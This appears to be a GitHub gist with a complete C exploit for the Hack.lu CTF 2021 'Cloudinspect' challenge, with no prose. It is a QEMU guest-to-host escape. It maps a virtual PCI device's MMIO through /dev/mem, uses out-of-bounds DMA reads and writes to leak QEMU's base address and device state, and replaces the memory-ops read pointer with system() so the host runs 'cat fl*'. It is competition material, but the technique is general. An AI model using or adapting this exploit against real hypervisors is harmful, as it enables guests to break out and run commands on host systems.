Skip to content

Instantly share code, notes, and snippets.

@kungfulon
Created October 31, 2021 22:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kungfulon/c20547cee168bf2df596262b5c090125 to your computer and use it in GitHub Desktop.
Save kungfulon/c20547cee168bf2df596262b5c090125 to your computer and use it in GitHub Desktop.
Hack.lu CTF 2021 Cloudinspect
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#define INFO "[*] "
const size_t CLOUDINSPECT_MMIO_OFFSET_CMD = 0x78 / 8;
const size_t CLOUDINSPECT_MMIO_OFFSET_SRC = 0x80 / 8;
const size_t CLOUDINSPECT_MMIO_OFFSET_DST = 0x88 / 8;
const size_t CLOUDINSPECT_MMIO_OFFSET_CNT = 0x90 / 8;
const size_t CLOUDINSPECT_MMIO_OFFSET_TRIGGER = 0x98 / 8;
const size_t CLOUDINSPECT_DMA_GET_VALUE = 0x1;
const size_t CLOUDINSPECT_DMA_PUT_VALUE = 0x2;
const size_t MMIO_ADDR = 0xfeb00000;
const size_t MMIO_SIZE = 0x100000;
const size_t QEMU_OFFSET_AS = 0xe91d60;
const size_t QEMU_SYSTEM_PLT = 0x2b3d60;
const size_t QEMU_MEMREGION_SIZE = 0x50;
const size_t STATE_OFFSET_MEM_OPS = 0x938;
const size_t STATE_OFFSET_OPAQUE = 0x940;
const size_t STATE_OFFSET_AS = 0x9e0;
const size_t STATE_OFFSET_DMA_STATE = 0x9e8;
const size_t STATE_OFFSET_DMA_BUF = 0xa08;
const size_t MEM_OPS_OFFSET_READ = 0x0;
void *map_mmio(void) {
int fd = open("/dev/mem", O_RDWR | O_SYNC);
if (fd == -1) {
perror("open /dev/mem");
return NULL;
}
void *addr = mmap(NULL, MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, MMIO_ADDR);
if (addr == NULL) {
perror("mmap mmio");
return NULL;
}
return addr;
}
size_t virt_to_phys(void *addr) {
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1) {
perror("open /proc/self/pagemap");
return 0;
}
size_t offset = (size_t)addr / getpagesize() * sizeof(size_t);
lseek(fd, offset, SEEK_SET);
size_t page_frame_number = 0;
read(fd, &page_frame_number, sizeof(size_t));
close(fd);
page_frame_number &= 0x7FFFFFFFFFFFFF;
return (page_frame_number << 12) | ((size_t)addr & 0xfff);
}
int main() {
// map mmio
size_t *mmio = map_mmio();
if (mmio == NULL) {
return 1;
}
printf(INFO "mmio = %p\n", mmio);
// map page for rw
size_t *mem = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
if (mem == NULL) {
perror("mmap mem");
return 1;
}
printf(INFO "mem = %p\n", mem);
strcpy((char *)mem, "cat fl*");
size_t mem_phys = virt_to_phys(mem);
printf(INFO "mem_phys = %p\n", (void *)mem_phys);
// write /bin/sh to dma_buf
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_phys;
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = 0;
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = 8;
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_PUT_VALUE;
sleep(1);
mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER] = 0;
// read state
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = -STATE_OFFSET_DMA_BUF;
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = mem_phys;
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = STATE_OFFSET_DMA_STATE;
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_GET_VALUE;
sleep(1);
printf(INFO "mmio trigger read = 0x%lx\n", mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER]);
size_t qemu_base = mem[STATE_OFFSET_AS / 8] - QEMU_OFFSET_AS;
printf(INFO "qemu_base = %p\n", (void *)qemu_base);
size_t dma_buf = mem[STATE_OFFSET_OPAQUE / 8] + STATE_OFFSET_DMA_BUF;
printf(INFO "dma_buf = %p\n", (void *)dma_buf);
size_t mem_ops = mem[STATE_OFFSET_MEM_OPS / 8];
printf(INFO "mem_ops = %p\n", (void *)mem_ops);
// read ops
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_ops - dma_buf;
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = mem_phys;
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = QEMU_MEMREGION_SIZE;
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_GET_VALUE;
sleep(1);
printf(INFO "mmio trigger read = 0x%lx\n", mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER]);
// change read ops to system plt then copy to dma_buf
mem[MEM_OPS_OFFSET_READ / 8] = qemu_base + QEMU_SYSTEM_PLT;
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_phys;
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = 8;
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = QEMU_MEMREGION_SIZE;
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_PUT_VALUE;
sleep(1);
mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER] = 0;
// change ops ptr
mem[0] = dma_buf + 8;
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_phys;
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = STATE_OFFSET_MEM_OPS - STATE_OFFSET_DMA_BUF;
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = sizeof(size_t);
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_PUT_VALUE;
sleep(1);
mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER] = 0;
// change opaque to /bin/sh
mem[0] = dma_buf;
mmio[CLOUDINSPECT_MMIO_OFFSET_SRC] = mem_phys;
mmio[CLOUDINSPECT_MMIO_OFFSET_DST] = STATE_OFFSET_OPAQUE - STATE_OFFSET_DMA_BUF;
mmio[CLOUDINSPECT_MMIO_OFFSET_CNT] = sizeof(size_t);
mmio[CLOUDINSPECT_MMIO_OFFSET_CMD] = CLOUDINSPECT_DMA_PUT_VALUE;
sleep(1);
mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER] = 0;
printf(INFO "mmio trigger read = 0x%lx\n", mmio[CLOUDINSPECT_MMIO_OFFSET_TRIGGER]);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment